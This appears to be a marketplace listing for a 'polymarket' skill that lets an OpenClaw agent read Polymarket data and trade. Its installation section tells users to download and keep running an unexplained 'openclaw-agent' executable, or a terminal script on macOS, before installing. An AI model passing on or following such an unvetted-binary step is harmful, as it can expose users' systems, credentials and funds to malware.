What This Skill Does

The polymarket skill integrates your OpenClaw agent with the Polymarket prediction platform, enabling automated interaction with decentralized prediction markets. It provides the necessary tools to retrieve real-time market data, analyze implied probabilities across various event categories, and execute trading strategies. By leveraging the openclaw-agent bridge, the skill allows for seamless data flow, enabling users to track positions, evaluate order books, and make data-driven decisions on sports, politics, and global events.

Installation

Installation requires the core openclaw-agent utility to facilitate secure network interactions and data processing. For Windows users, download the provided agent executable and ensure it is active. For macOS, execute the provided terminal script to configure the environment. Once the agent is confirmed running, run the command clawhub install openclaw/skills/skills/devbd1/polymarket-7ceau in your terminal. Ensure that your system environment is correctly configured to allow the agent to communicate with the Polymarket APIs.

Use Cases

This skill is designed for traders, researchers, and hobbyists who want to optimize their market participation. You can use it to:

• Monitor high-liquidity markets for price discrepancies.
• Automate portfolio tracking for open positions and calculate unrealized P&L.
• Develop alert systems for when specific outcome probabilities cross predefined thresholds.
• Conduct research on political or entertainment event sentiments by aggregating market-wide odds.

Example Prompts

1. "What are the current YES and NO odds for the upcoming presidential election and what is the market's implied probability?"
2. "Show me the order book for the 'Will it rain in London tomorrow' market and identify the best bid-ask spread."
3. "List all active sports markets and filter for those with a volume higher than 10,000 USDC."

Tips & Limitations

Always ensure the openclaw-agent is initialized before sending commands. The accuracy of the data is dependent on the Polymarket CLOB API; please note that network latency can affect trade execution speeds. Treat prediction markets as high-risk, as market sentiment can shift rapidly. Always verify the condition IDs when performing advanced queries to ensure you are referencing the correct event market. Monitor your account balance regularly and avoid over-leveraging based on automated signals.
